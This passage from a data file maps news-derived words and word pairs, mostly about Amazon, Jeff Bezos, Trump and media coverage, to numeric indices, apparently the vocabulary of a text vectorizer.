163500, "mocking iowans": 163501, "works rocket": 163502, "including burger": 163503, "city activists": 163504, "commercial package": 163505, "home trophies": 163506, "important wrinkle": 163507, "arnault facebook": 163508, "ivory": 163509, "report revealed": 163510, "rhinoceros": 163511, "negotiating": 163512, "actor anthony": 163513, "booking": 163514, "explained don": 163515, "amazon bloomberg": 163516, "quoting sources": 163517, "1342et copyright": 163518, "activity gawande": 163519, "competition cramer": 163520, "read joseph": 163521, "connolly ranking": 163522, "counterfeited products": 163523, "says customers": 163524, "beast amazon": 163525, "year worldwide": 163526, "jose luis": 163527, "uk teams": 163528, "ballot free": 163529, "reporting": 163530, "chicksonright time": 163531, "preset": 163532, "cow revenue": 163533, "joan hart": 163534, "leads company": 163535, "jet fuel": 163536, "took matters": 163537, "tropes": 163538, "offering approximately": 163539, "activation": 163540, "755": 163541, "accounting books": 163542, "post known": 163543, "foundation nonprofit": 163544, "meghan markles": 163545, "legislate": 163546, "true nature": 163547, "leaped forward": 163548, "trump suddenly": 163549, "week introduced": 163550, "extended hike": 163551, "provider carahsoft": 163552, "newsworthiness": 163553, "booze": 163554, "ujfoqv0uzk": 163555, "matthew whoop": 163556, "public housing": 163557, "pic drama": 163558, "involved wrote": 163559, "distributors": 163560, "inconsistencies": 163561, "book book": 163562, "2018 page": 163563, "contessa cook": 163564, "service continues": 163565, "000 assaults": 163566, "francisco company": 163567, "privacy problems": 163568, "lt": 163569, "investors stand": 163570, "government contractor": 163571, "korea warning": 163572, "daggers": 163573, "card say": 163574, "latino voters": 163575, "political waters": 163576, "howard schultz": 163577, "city tax": 163578, "construction update": 163579, "annual gathering": 163580, "16000": 163581, "prices reflect": 163582, "michelle sacks": 163583, "perished establishing": 163584, "billion leap": 163585, "plurality": 163586, "facilities": 163587, "information people": 163588, "group microsoft": 163589, "true watchdog": 163590, "zillow data": 163591, "checked series": 163592, "pressphoto": 163593, "month actuality": 163594, "reach decacorn": 163595, "big lie": 163596, "moved": 163597, "actual bonafide": 163598, "adventure story": 163599, "ehudgins heartland": 163600, "president claimed": 163601, "68m": 163602, "retail tech": 163603, "closest media": 163604, "businesses integrating": 163605, "portal starting": 163606, "wealthwire": 163607, "drone video": 163608, "jam sense": 163609, "decision commerce": 163610, "prairie start": 163611, "strongly positioned": 163612, "grand jury": 163613, "itep intense": 163614, "commuter train": 163615, "skyrocketing paralyze": 163616, "patient deep": 163617, "makes yard": 163618, "9625 888": 163619, "teens": 163620, "roller": 163621, "copious evidence": 163622, "intelligence newsletter": 163623, "fame": 163624, "times dispatch": 163625, "true inc_feature_image_style": 163626, "dr holly": 163627, "astronaut cady": 163628, "sourcename videocardcontents": 163629, "eff bezos": 163630, "thedemocratic response": 163631, "investigation wh": 163632, "owned souq": 163633, "fatalities": 163634, "certain post": 163635, "president lashed": 163636, "groups": 163637, "campaign deception": 163638, "campaign look": 163639, "state office": 163640, "bezos net": 163641, "did interfere": 163642, "amazon fallout": 163643, "amazon facing": 163644, "squeebles spelling": 163645, "amazon foray": 163646, "grants": 163647, "playbook newsletter": 163648, "competition needs": 163649, "democrats lagging": 163650, "experience working": 163651, "owner chance": 163652, "poorly dem": 163653, "impetus": 163654, "parked": 163655, "feds social": 163656, "unlock": 163657, "hostile relationship": 163658, "thrown wrench": 163659, "robbing 2018": 163660, "center nonsupervisory": 163661, "times bestseller": 163662, "politico nancy": 163663, "trump ai": 163664, "bezos writer": 163665, "seen taking": 163666, "v4 return": 163667, "stunts": 163668, "website daily": 163669, "trump victory": 163670, "witness": 163671, "shipping means": 163672, "uses picture": 163673, "identify grab": 163674, "playing unfairly": 163675, "doesn apply": 163676, "animal": 163677, "delivering ice": 163678, "called hq2": 163679, "earth happened": 163680, "regulated industry": 163681, "happening post": 163682, "fawning profile": 163683, "pakistan cohen": 163684, "containment": 163685, "amazon representative": 163686, "expert joe": 163687, "102602cb": 163688, "customers doorsteps": 163689, "critically reviewed": 163690, "reviewing programme": 163691, "retired early": 163692, "way detracted": 163693, "acquiescence": 163694, "called long": 163695, "null mobilelogo": 163696, "caption toggle": 163697, "umbrella sidewalk": 163698, "counterfeiting trademark": 163699, "presentations": 163700, "printed 200": 163701, "list simon": 163702, "play based": 163703, "carl jr": 163704, "favour low": 163705, "cohen microsoft": 163706, "manoeuvre": 163707, "rosenstein knows": 163708, "earlier weakness": 163709, "elected google": 163710, "jordan weissmann": 163711, "man korede": 163712, "enabling follower": 163713, "washington tussle": 163714, "organics nutritional": 163715, "phil longman": 163716, "break allowing": 163717, "times reported": 163718, "service explaining": 163719, "rising shipping": 163720, "uproot": 163721, "fortrump": 163722, "boyle wants": 163723, "gift guide": 163724, "onewest": 163725, "companies tech": 163726, "amzn investors": 163727, "intelligence projects": 163728, "owe federal": 163729, "fixing search": 163730, "state loss": 163731, "subdivision": 163732, "shailene woodley": 163733, "happy positive": 163734, "named crystal": 163735, "anne mahlum": 163736, "logistics": 163737, "copyright laws": 163738, "funneling money": 163739, "workers inspired": 163740, "y8 typeof": 163741, "site plan": 163742, "thesequestions": 163743, "powerful players": 163744, "contract details": 163745, "rosalind helderman": 163746, "dvr space": 163747, "lois kazakoff": 163748, "safe increasingly": 163749, "staffing decisions": 163750, "gutting": 163751, "line filene": 163752, "arizona latino": 163753, "competitively priced": 163754, "new morning": 163755, "uk leader": 163756, "security mark": 163757, "power": 163758, "minister tried": 163759, "outgrows": 163760, "related weakness": 163761, "faux agile": 163762, "time despite": 163763, "constituencies black": 163764, "slap special": 163765, "championed 100": 163766, "195 shares": 163767, "wish": 163768, "enthralling": 163769, "falsely disclaim": 163770, "paradox written": 163771, "dogged google": 163772, "a4ee f1": 163773, "nearly million": 163774, "huge trade": 163775, "interview politicians": 163776, "long occupation": 163777, "examiner president": 163778, "shiny lightweight": 163779, "amazon tight": 163780, "detained robert": 163781, "american doug": 163782, "prohibition": 163783, "congress moves": 163784, "greg stohr": 163785, "save america": 163786, "professional wrestler": 163787, "glumly protested": 163788, "online travel": 163789, "logistics amazon": 163790, "appleton": 163791, "mailed": 163792, "tv thank": 163793, "life thanks": 163794, "reagan battalion": 163795, "work regarding": 163796, "related pronouncements": 163797, "anddomestic policy": 163798, "executives created": 163799, "breach data": 163800, "mike nichols": 163801, "regimes globally": 163802, "amzn wasn": 163803, "trump wants": 163804, "michael believes": 163805, "morning naz": 163806, "054 000": 163807, "secured higher": 163808, "resulted": 163809, "nick niedzwiadek": 163810, "stocks managed": 163811, "snapchat amazon": 163812, "commerce retail": 163813, "hiring amazon": 163814, "sitting president": 163815, "comey reportedly": 163816, "affairs dan": 163817, "shooting suspect": 163818, "foreign trade": 163819, "strong voice": 163820, "treated equally": 163821, "sen ted": 163822, "leading scientists": 163823, "talks ahead": 163824, "tenney senate": 163825, "tells cujo": 163826, "venezuela legitimate": 163827, "keys": 163828, "prosecution bloomberg": 163829, "cairo diamond": 163830, "leone": 163831, "buy supplies": 163832, "lose control": 163833, "rep alexandia": 163834, "affair people": 163835, "delegates": 163836, "lerner shelved": 163837, "cites govt": 163838, "miles stopped": 163839, "slingbox": 163840, "data vestager": 163841, "nonexistent federal": 163842, "cnbc simon": 163843, "91c": 163844, "helped increase": 163845, "rfp criteria": 163846, "phoenix area": 163847, "little legal": 163848, "award winner": 163849, "eqnjgycf32": 163850, "trump story": 163851, "legal entanglements": 163852, "basics boot": 163853, "seas 140": 163854, "cash development": 163855, "education betsy": 163856, "ireland finland": 163857, "collar president": 163858, "thumbimageelem jquery": 163859, "taxes president": 163860, "dedication": 163861, "trump massive": 163862, "seattle mayor": 163863, "mnuchin obtained": 163864, "clearances pure": 163865, "convenient times": 163866, "focus does": 163867, "study cnbc": 163868, "amzn profit": 163869, "ars technica": 163870, "caribbean": 163871, "direct primary": 163872, "look great": 163873, "decker plane": 163874, "traditionally stayed": 163875, "investors including": 163876, "chemical sent": 163877, "circles including": 163878, "strength nomura": 163879, "using tweets": 163880, "organization representative": 163881, "china starting": 163882, "dopp justin": 163883, "perspective just": 163884, "flare": 163885, "immediately maxsa": 163886, "726": 163887, "amazon workplaces": 163888, "timestampdisplay": 163889, "renowned real": 163890, "dual": 163891, "harriet wilson": 163892, "similar ceo": 163893, "trump strategist": 163894, "mcafee": 163895, "transportation hubs": 163896, "outlet saying": 163897, "tech retailer": 163898, "awfully worried": 163899, "season buoyed": 163900, "helping": 163901, "completely true": 163902, "uf": 163903, "feel": 163904, "paper owner": 163905, "conference nadal": 163906, "schweitzer lunch": 163907, "rubble penney": 163908, "insurance cover": 163909, "hints parent": 163910, "epic proportion": 163911, "currentvideocollection": 163912, "relationship says": 163913, "paper titled": 163914, "america taxpayers": 163915, "flow decreased": 163916, "specifically facebook": 163917, "role does": 163918, "amazon averaging": 163919, "senate jaspers": 163920, "smallest scale": 163921, "fault 2018": 163922, "foxnews coverage": 163923, "devos proposed": 163924, "stay rich": 163925, "beard media": 163926, "afp reports": 163927, "borough given": 163928, "americans desensitized": 163929, "amazon buffett": 163930, "racked reported": 163931, "links amazon": 163932, "lite conversation": 163933, "warehouse job": 163934, "liaison earns": 163935, "considered complete": 163936, "becker subject": 163937, "asymmetric competition": 163938, "lehman collapse": 163939, "posted losses": 163940, "advocate needs": 163941, "movement reporter": 163942, "employee responding": 163943, "service handle": 163944, "business despite": 163945, "paterson graf": 163946, "04m": 163947, "baby tissue": 163948, "erupting": 163949, "service runs": 163950, "investors expected": 163951, "later participated": 163952, "usps service": 163953, "stated colin": 163954, "petition calls": 163955, "putin amid": 163956, "families rising": 163957, "unwound": 163958, "coalition website": 163959, "yep": 163960, "drastically different": 163961, "fantastic news": 163962, "howorth lessons": 163963, "petco": 163964, "yellow journalism": 163965, "n\u00f3brega": 163966, "llp owns": 163967, "cuomo table": 163968, "issue weare": 163969, "record antitrust": 163970, "blues": 163971, "board writes": 163972, "prefabricated": 163973, "caller interviewers": 163974, "diet shed": 163975, "marcia": 163976, "rabbis": 163977, "waiving": 163978, "lehrer especially": 163979, "home voice": 163980, "removed funny": 163981, "s9x i0": 163982, "routinely handicaps": 163983, "man tom": 163984, "reporting annual": 163985, "experience includes": 163986, "latest scoops": 163987, "president policies": 163988, "great value": 163989, "paying blue": 163990, "work sharing": 163991, "grassroots pressure": 163992, "draws closer": 163993, "paper jimmy": 163994, "repeatedly taken": 163995, "trump fielded": 163996, "sushmita agarwal": 163997, "stmp": 163998, "target right": 163999, "broadly speaking": 164000, "taxdodging": 164001, "robert cringely": 164002, "states working": 164003, "having big": 164004, "asia pence": 164005, "aforementioned ck": 164006, "climate regulation": 164007, "national conservatives": 164008, "government wars": 164009, "investor skepticism": 164010, "higher operating": 164011, "allowed multiple": 164012, "media different": 164013, "pig amazon": 164014, "tasos katopodis": 164015, "susan schmidt": 164016, "parents started": 164017, "bazemore ap": 164018, "report phishing": 164019, "united arab": 164020, "sustainable biofuels": 164021, "mortgage loans": 164022, "caption snl": 164023, "disciplinary": 164024, "explored offering": 164025, "suicides jeff": 164026, "sciences logistics": 164027, "slowing destroying": 164028, "event permit": 164029, "campaign built": 164030, "amazon itunes": 164031, "cheaper way": 164032, "help decide": 164033, "us3 billion": 164034, "polito": 164035, "trump fails": 164036, "apple current": 164037, "2015 227180": 164038, "welcome brazil": 164039, "self employed": 164040, "america repatriation": 164041, "sens ron": 164042, "stalwarts": 164043, "seattle entertainment": 164044, "journalists hope": 164045, "nbc facebook": 164046, "hooded capes": 164047, "cisco systems": 164048, "positive contributions": 164049, "____________________________trump": 164050, "equally legendary": 164051, "carol schmidt": 164052, "iti": 164053, "companies weighing": 164054, "officials angrily": 164055, "2016 probably": 164056, "currency crisis": 164057, "1905": 164058, "ice amazon": 164059, "6jygtabh2v": 164060, "higher earners": 164061, "term effect": 164062, "shy away": 164063, "announced proposal": 164064, "borders protection": 164065, "sent jeremy": 164066, "massive swamp": 164067, "ami demand": 164068, "america filed": 164069, "doesn pay": 164070, "favorite impulse": 164071, "private label": 164072, "officially titled": 164073, "case management": 164074, "tomove forward": 164075, "participating employers": 164076, "facetime unavailable": 164077, "black boxes": 164078, "router": 164079, "leaking company": 164080, "inexpensive smaller": 164081, "mother maxim": 164082, "generics": 164083, "hill people": 164084, "intuition taste": 164085, "je alleen": 164086, "tabloid efforts": 164087, "ire regarding": 164088, "factual statistic": 164089, "image library": 164090, "movie reviews": 164091, "expressed frustration": 164092, "poor families": 164093, "government action": 164094, "maximise": 164095, "richard nixon": 164096, "world richest": 164097, "headlinetext believe": 164098, "buying patterns": 164099, "just check": 164100, "yearly grant": 164101, "ridesharing warning": 164102, "retailers ebay": 164103, "state approval": 164104, "internal voice": 164105, "half buried": 164106, "early 1970s": 164107, "follow emily": 164108, "election pits": 164109, "different habitats": 164110, "scripts stance": 164111, "bad nafta": 164112, "2019 tax": 164113, "emanu el": 164114, "point mean": 164115, "rubiginosa": 164116, "london apt": 164117, "hillary diane": 164118, "macy thanksgiving": 164119, "included nelson": 164120, "city cements": 164121, "times mingling": 164122, "enquirer posted": 164123, "brothers collapse": 164124, "wouldn buy": 164125, "companies cut": 164126, "different cities": 164127, "cnbc fortunately": 164128, "today books": 164129, "carell stepped": 164130, "guru rep": 164131, "lineage": 164132, "withers": 164133, "studios embedded": 164134, "falls politico": 164135, "benefit investors": 164136, "working class": 164137, "broadcasting corporation": 164138, "sales according": 164139, "thailand continue": 164140, "dc carell": 164141, "limit large": 164142, "florence midterms": 164143, "deforesters destroying": 164144, "zing 6190": 164145, "234 sealed": 164146, "pressure cooker": 164147, "anwar son": 164148, "petrochina past": 164149, "reads want": 164150, "saves amazon": 164151, "administrations bolsonaro": 164152, "tong hyung": 164153, "facebook yesterday": 164154, "baseball umpire": 164155, "single employer": 164156, "major foothold": 164157, "real attempts": 164158, "hrafnsson": 164159, "plot twist": 164160, "beings involved": 164161, "guide calendar": 164162, "200 places": 164163, "making fun": 164164, "challenging apple": 164165, "national parents": 164166, "amazon soars": 164167, "presented": 164168, "enforce sales": 164169, "years excited": 164170, "nobel economics": 164171, "finding ocasio": 164172, "roast blend": 164173, "delay tactics": 164174, "mail services": 164175, "getnamespacefeature": 164176, "overnight": 164177, "know try": 164178, "box trumped": 164179, "takes half": 164180, "bloomingdale": 164181, "flowers wrapped": 164182, "group finances": 164183, "dollar bonuses": 164184, "covering business": 164185, "sold amzn": 164186, "manual labor": 164187, "anthony atamanuik": 164188, "actually getting": 164189, "spanish clothing": 164190, "say exactly": 164191, "thread subscribing": 164192, "company senior": 164193, "pixel": 164194, "provide consistent": 164195, "volatile autumn": 164196, "pieces central": 164197, "statement jeff": 164198, "private photos": 164199, "galloway facebook": 164200, "considered overbuilt": 164201, "arbitrarily hiking": 164202, "metropolitan airport": 164203, "just relax": 164204, "campaign journalist": 164205, "hot points": 164206, "changed changed": 164207, "kramer": 164208, "motivated second": 164209, "city completely": 164210, "kris aquino": 164211, "absorb higher": 164212, "bulk ordering": 164213, "company lawyer": 164214, "beauty shoppers": 164215, "repeatedly sought": 164216, "industry dominates": 164217, "ice methods": 164218, "alessandra": 164219, "post prime": 164220, "random carrell": 164221, "oracle nasdaq": 164222, "mistress news": 164223, "losing amazon": 164224, "church groups": 164225, "amassed fortune": 164226, "daniel sackheim": 164227, "hotel lobby": 164228, "carry market": 164229, "turns delicate": 164230, "rates despite": 164231, "category millennials": 164232, "ask does": 164233, "eventually finds": 164234, "games anthony": 164235, "post documented": 164236, "rep": 164237, "story showing": 164238, "venturing": 164239, "stances": 164240, "corruption plain": 164241, "bookshelves": 164242, "meltdown connecticut": 164243, "acquiring pillpack": 164244, "early sign": 164245, "tweeted adding": 164246, "imran": 164247, "couldn fly": 164248, "personal embarrassment": 164249, "cnnpressroom files": 164250, "world hang": 164251, "moving zinke": 164252, "dim sum": 164253, "stories register": 164254, "kids program": 164255, "naturalism meets": 164256, "crisis david": 164257, "throne": 164258, "cronyism relationships": 164259, "average monthly": 164260, "finding suggests": 164261, "woodward fear": 164262, "praising zinke": 164263, "motivated image": 164264, "world helped": 164265, "video election": 164266, "sequitur senator": 164267, "theories involving": 164268, "best talent": 164269, "kentucky students": 164270, "believe jeopardize": 164271, "journalist jamal": 164272, "ground rates": 164273, "coming comments": 164274, "transitioning": 164275, "news local": 164276, "streaming mcmafia": 164277, "morning remember": 164278, "self professed": 164279, "store vacancies": 164280, "major force": 164281, "quickly panned": 164282, "die samen": 164283, "persisted amazon": 164284, "licenses products": 164285, "oppressing": 164286, "smollett attorneys": 164287, "message trump": 164288, "market europe": 164289, "hospitals colleges": 164290, "performs verify": 164291, "kil uber": 164292, "buying amazon": 164293, "advertising product": 164294, "unique schweitzer": 164295, "cherishing": 164296, "power practical": 164297, "job sponsored": 164298, "ny state": 164299, "provided provisions": 164300, "linux popular": 164301, "largest utility": 164302, "president ocasio": 164303, "chavez swallowed": 164304, "latest plan": 164305, "amazon prowess": 164306, "new launch": 164307, "future seasons": 164308, "prime free": 164309, "assimilate": 164310, "woodley": 164311, "behemoth larger": 164312, "crazy conspiracy": 164313, "allows people": 164314, "uses technique": 164315, "integration click": 164316, "unfortunately john": 164317, "perform oral": 164318, "pharma": 164319, "bureau reported": 164320, "fact": 164321, "soper gerry": 164322, "christian organizations": 164323, "baba new": 164324, "chuck going": 164325, "press gathered": 164326, "leskin": 164327, "store willingly": 164328, "truly goddamn": 164329, "blackfriday es": 164330, "jim crow": 164331, "approve cigna": 164332, "life stores": 164333, "cola apple": 164334, "apple reading": 164335, "charlie sykes": 164336, "351": 164337, "father saying": 164338, "saocom": 164339, "exclusive analysis": 164340, "eternity": 164341, "workers abroad": 164342, "consulting early": 164343, "diego officials": 164344, "usps allow": 164345, "click max": 164346, "read lanterns": 164347, "mistake trans": 164348, "pullout": 164349, "rogue american": 164350, "certain pill": 164351, "overall capacity": 164352, "change package": 164353, "tags bags": 164354, "potter": 164355, "bob engel": 164356, "including content": 164357, "single award": 164358, "disappointing return": 164359, "business views": 164360, "great strength": 164361, "russia russia": 164362, "worth 137": 164363, "cuny chancellor": 164364, "couple try": 164365, "analytica new": 164366, "amazon jd": 164367, "channel does": 164368, "transformed way": 164369, "simply hey": 164370, "happening currently": 164371, "locales": 164372, "exact new": 164373, "disney moana": 164374, "greater grip": 164375, "restaurant brand": 164376, "jewish": 164377, "bezos heart": 164378, "screen turned": 164379, "0207": 164380, "increases including": 164381, "specific economic": 164382, "facing": 164383, "cruz receiving": 164384, "service spent": 164385, "similar protests": 164386, "maelstrom read": 164387, "282 today": 164388, "partisan political": 164389, "lead money": 164390, "struggling start": 164391, "outlet estad\u0103o": 164392, "olfactory": 164393, "immediately committed": 164394, "beginning dec": 164395, "112 141": 164396, "rectify": 164397, "allegations headlineplaintext": 164398, "daniel acker": 164399, "probably damaged": 164400, "investment company": 164401, "surgery": 164402, "given wall": 164403, "section 846": 164404, "approximately 152": 164405, "minute information": 164406, "chase amazon": 164407, "warranted soon": 164408, "kabocha": 164409, "heard democrat": 164410, "awards toronto": 164411, "disrupting small": 164412, "tapaj\u00f3s": 164413, "behemoth costco": 164414, "personally stand": 164415, "ure": 164416, "seat restaurant": 164417, "staffing agencies": 164418, "basic facts": 164419, "source contract": 164420, "china cloud": 164421, "wondering": 164422, "births": 164423, "trump success": 164424, "block store": 164425, "leave north": 164426, "security npr": 164427, "today mike": 164428, "commerce justice": 164429, "comey sneaky": 164430, "based groups": 164431, "scandalous privacy": 164432, "democrats efforts": 164433, "sky iconimageurl": 164434, "leen kawas": 164435, "microsoft share": 164436, "prodigy": 164437, "deteriorating": 164438, "universal": 164439, "abiding": 164440, "seng": 164441, "insert malicious": 164442, "vague": 164443, "railroad 2016": 164444, "twitter hit": 164445, "powell": 164446, "trump version": 164447, "inevitable comparison": 164448, "9002 bezos": 164449, "did just": 164450, "peeling scab": 164451, "hangman": 164452, "jeffs pleasingly": 164453, "beach police": 164454, "vans featuring": 164455, "latest nav": 164456, "cloud platforms": 164457, "optum unit": 164458, "cause google": 164459, "term deep": 164460, "v4 function": 164461, "delicate": 164462, "retailers sell": 164463, "storming": 164464, "industry specifically": 164465, "scarce public": 164466, "director alfonso": 164467, "offshore subsidiary": 164468, "hey send": 164469, "taking mcdonald": 164470, "headed hey": 164471, "way far": 164472, "sanders 2016": 164473, "great recession": 164474, "q1 2000": 164475, "hq2 amazon": 164476, "giovanni ferrero": 164477, "world soon": 164478, "irish vampire": 164479, "heavy lifting": 164480, "cloud walled": 164481, "conveyor belt": 164482, "agenda mijente": 164483, "changing services": 164484, "elusiveness": 164485, "app trump": 164486, "owen mccarthyhouse": 164487, "reportedly vulnerable": 164488, "treatments private": 164489, "stocks technology": 164490, "umbrella amazon": 164491, "group stated": 164492, "national writing": 164493, "boston mainly": 164494, "club typical": 164495, "distribution told": 164496, "publisher": 164497, "drumbeat": 164498, "important government": 164499, "pi\u00f1ata": 164500, "installment": 164501, "egregious failure": 164502, "hope common": 164503, "money especially": 164504, "ways unique": 164505, "hillside following": 164506, "unique set": 164507, "utilization rate": 164508, "old car": 164509, "piece headlined": 164510, "supporting cast": 164511, "doggedly investigating": 164512, "piece today": 164513, "evading regulatory": 164514, "send chill": 164515, "charitable causes": 164516, "divorce affair": 164517, "14th": 164518, "trump later": 164519, "direction metapack": 164520, "merger centers": 164521, "identified wide": 164522, "weather north": 164523, "rhys": 164524, "l2 k8": 164525, "action moving": 164526, "entitled vote": 164527, "absolutely destroy": 164528, "uniform legislative": 164529, "tailer does": 164530, "works": 164531, "governments putting": 164532, "public empire": 164533, "probe virginia": 164534, "britain emirates": 164535, "amazon facebook": 164536, "wiggles": 164537, "blackfridaysinamazon comienza": 164538, "teaching materials": 164539, "surprisingly enjoyable": 164540, "people taking": 164541, "twitter maxgarlandtypes": 164542, "enforcement agency": 164543, "cross bay": 164544, "riding unicorn": 164545, "senior class": 164546, "us27": 164547, "unintentionally forging": 164548, "seek": 164549, "100 billion": 164550, "entitled epa": 164551, "startling claims": 164552, "seattle mussel": 164553, "general elevated": 164554, "change mining": 164555, "quickly murdoch": 164556, "crowd erupted": 164557, "parked outside": 164558, "original stories": 164559, "interdiction litigation": 164560, "published letter": 164561, "index fund": 164562, "equality diversity": 164563, "development incentives": 164564, "colossal political": 164565, "products brands": 164566, "compliant mainstream": 164567, "tal yguado": 164568, "overtook microsoft": 164569, "triple threaded": 164570, "criticized": 164571, "3rd party": 164572, "r4ee d4e": 164573, "angl\u00e8s": 164574, "remain just": 164575, "young marks": 164576, "post responsibilities": 164577, "jerome_corsi": 164578, "2018 memorial": 164579, "notice amazon": 164580, "alzheimer posted": 164581, "government complicit": 164582, "kim summit": 164583, "feature prominently": 164584, "turbulence markets": 164585, "chris martin": 164586, "saying strong": 164587, "sister site": 164588, "bearing scythes": 164589, "latest revelation": 164590, "concerns amazon": 164591, "mockery bernie": 164592, "jump 100": 164593, "seeded": 164594, "seduce": 164595, "retailers microsoft": 164596, "year pulling": 164597, "anger include": 164598, "stelter brianstelter": 164599, "reversion indicator": 164600, "standards including": 164601, "details michael": 164602, "w8": 164603, "walmart responded": 164604, "small retailers": 164605, "harms": 164606, "sneering demons": 164607, "cable news": 164608, "separate potential": 164609, "federal fund": 164610, "ago tascent": 164611, "book prices": 164612, "today mathew": 164613, "consumers easy": 164614, "employees finds": 164615, "growing restaurant": 164616, "registry uses": 164617, "novelty items": 164618, "making buffett": 164619, "data report": 164620, "hq2s fro": 164621, "campus fence": 164622, "starr": 164623, "offseason": 164624, "simultaneously believes": 164625, "ragtag": 164626, "shows including": 164627, "kinsey": 164628, "jamarlin martin": 164629, "mature pay": 164630, "brand earnings": 164631, "mahindra": 164632, "ryan source": 164633, "sinclair plans": 164634, "coordinating": 164635, "view local": 164636, "postage stamps": 164637, "false inc_lock_articleflag": 164638, "quashing faux": 164639, "expired plan": 164640, "world industries": 164641, "scandal russia": 164642, "cole bloomberg": 164643, "similar contracts": 164644, "mild": 164645, "agribusiness possibilities": 164646, "gmt updated": 164647, "fears border": 164648, "1289121590 o1a": 164649, "promised diana": 164650, "admit": 164651, "digit effective": 164652, "unnoticed": 164653, "recruitment brochure": 164654, "375 amazon": 164655, "mandatory recount": 164656, "luxury products": 164657, "suit red": 164658, "dan bongino": 164659, "reinvestment": 164660, "used information": 164661, "tax notices": 164662, "2018 graham": 164663, "bell today": 164664, "boom photo": 164665, "tennis match": 164666, "look different": 164667, "wonderful life": 164668, "foia suit": 164669, "style alex": 164670, "broader challenges": 164671, "m1 a4ee": 164672, "cannabinoid manufacturing": 164673, "copyright law": 164674, "latest thinking": 164675, "confronting climate": 164676, "old statutory": 164677, "amazon kohl": 164678, "personal software": 164679, "kaitlyn": 164680, "assets include": 164681, "000 jobs": 164682, "2019 2018": 164683, "proud team": 164684, "extensive relationship": 164685, "direct community": 164686, "matt gardner": 164687, "hotly anticipated": 164688, "torv": 164689, "comedy program": 164690, "bring companies": 164691, "prof": 164692, "suffers tyson": 164693, "cia drone": 164694, "proposed nafta": 164695, "kalon": 164696, "prohibit certain": 164697, "herera nvidia": 164698, "commerce services": 164699, "investigation alphabet": 164700, "empowered nation": 164701, "loses aaron": 164702, "cnn host": 164703, "mail carrier": 164704, "face test": 164705, "sofie whitney": 164706, "placements": 164707, "microsoft health": 164708, "schatz hawaii": 164709, "israelis want": 164710, "googleplay": 164711, "publishers prime": 164712, "frequent": 164713, "troubling scheme": 164714, "assume": 164715, "local coffee": 164716, "brown bobby": 164717, "raise antitrust": 164718, "chan net": 164719, "s0 defineproperty": 164720, "join host": 164721, "fed higher": 164722, "member world": 164723, "order requiring": 164724, "bruising work": 164725, "told leskin": 164726, "global brain": 164727, "intermediate wti": 164728, "broad coalition": 164729, "people confirmed": 164730, "lawless": 164731, "wuerker": 164732, "q8": 164733, "warfare time": 164734, "ainsley credits": 164735, "members received": 164736, "justin hammack": 164737, "republicans jeff": 164738, "powerful compounding": 164739, "mismatching": 164740, "free pdf": 164741, "person closely": 164742, "goings": 164743, "theresa": 164744, "media expertise": 164745, "wanted washer": 164746, "import lobby": 164747, "particularly cognizant": 164748, "democracy forum": 164749, "reportedly wounded": 164750, "consider ford": 164751, "talley talks": 164752, "knuckleheads": 164753, "program toanother": 164754, "second leaders": 164755, "creators": 164756, "nicolas maduro": 164757, "speed read": 164758, "hbo schiff": 164759, "benjamin": 164760, "wait times": 164761, "flawed": 164762, "medium flat": 164763, "industrial stocks": 164764, "000 voters": 164765, "week daimler": 164766, "haughty holier": 164767, "subjective": 164768, "upside zacks": 164769, "organization don": 164770, "storage boxes": 164771, "400 wapo": 164772, "build strength": 164773, "high dudgeon": 164774, "implicating": 164775, "plays ryan": 164776, "116 shares": 164777, "intend": 164778, "certainly shorted": 164779, "amazon version": 164780, "gunshot thought": 164781, "3647": 164782, "vaccines right": 164783, "kormann star": 164784, "day revenue": 164785, "cloud applications": 164786, "using naloxone": 164787, "pass reasonable": 164788, "potential including": 164789, "forestland": 164790, "studies 400": 164791, "company retail": 164792, "bozzella": 164793, "focus needs": 164794, "amazon approach": 164795, "law center": 164796, "congregation split": 164797, "pic twitter": 164798, "inbev": 164799, "assists": 164800, "ijr": 164801, "site bittorrent": 164802, "jill colvin": 164803, "inbetween times": 164804, "ecommerce companies": 164805, "assumes bezos": 164806, "underlying legal": 164807, "message allegedly": 164808, "booker harris": 164809, "happy prospect": 164810, "using presidential": 164811, "major critics": 164812, "caused amazon": 164813, "greek mythology": 164814, "preparation": 164815, "crises took": 164816, "expressed concern": 164817, "trump crusade": 164818, "meetings according": 164819, "house gop": 164820, "moana costume": 164821, "abish matthew": 164822, "entrenching": 164823, "liat sadler": 164824, "idyllic faraway": 164825, "boldly": 164826, "opens probe": 164827, "michael kovac": 164828, "started pointing": 164829, "immediate horizon": 164830, "deal likelihood": 164831, "way stuart": 164832, "image 1940x900": 164833, "bridis": 164834, "opinion 2018": 164835, "diverse cities": 164836, "flores": 164837, "scotland job": 164838, "stable": 164839, "krystalh": 164840, "riddled usps": 164841, "distribute especially": 164842, "delivery quickly": 164843, "hacking bezos": 164844, "god gratitude": 164845, "starring harrison": 164846, "seen write": 164847, "eliminating plastic": 164848, "pays individuals": 164849, "hates bezos": 164850, "bookerly typeface": 164851, "start moving": 164852, "curb corporate": 164853, "hit new": 164854, "tennessee echos": 164855, "onstage antics": 164856, "ideas bezos": 164857, "unfruitful": 164858, "obama efforts": 164859, "trump elected": 164860, "000 bartiromo": 164861, "zuckerberg share": 164862, "skyrocketing upside": 164863, "militias": 164864, "daintiest possible": 164865, "inconsolable": 164866, "tale sonyliv": 164867, "dc amazon": 164868, "highest bidder": 164869, "shipments midas": 164870, "guidelines passed": 164871, "organs": 164872, "oppose harm": 164873, "columnist meta_description": 164874, "music accordingly": 164875, "affairs experts": 164876, "unveiled prototype": 164877, "entities today": 164878, "aeronautics": 164879, "bond": 164880, "twitter fight": 164881, "reliably access": 164882, "shira": 164883, "violations trump": 164884, "questions amazon": 164885, "nyclu": 164886, "billion read": 164887, "emergency based": 164888, "enquirer reported": 164889, "news sputnik": 164890, "court review": 164891, "financial picture": 164892, "reintegrate": 164893, "europe 44871788": 164894, "green president": 164895, "home business": 164896, "district democrats": 164897, "office woes": 164898, "sun fighbird": 164899, "lies amazon": 164900, "archila": 164901, "unauthorized retailers": 164902, "orderly": 164903, "13022228 r4ee": 164904, "trump sarcastically": 164905, "smbs succeed": 164906, "planet world": 164907, "today investors": 164908, "trump escalating": 164909, "traditionalists": 164910, "compromising": 164911, "burnout": 164912, "petition started": 164913, "collaborator": 164914, "letter reflects": 164915, "1733807302 ppb": 164916, "china england": 164917, "conservative estimates": 164918, "damning text": 164919, "drug lords": 164920, "strapped according": 164921, "world reports": 164922, "verb": 164923, "episodes taking": 164924, "federal candidates": 164925, "underscoring": 164926, "testing markets": 164927, "finds center": 164928, "biggest threats": 164929, "latest ratings": 164930, "efficient flex": 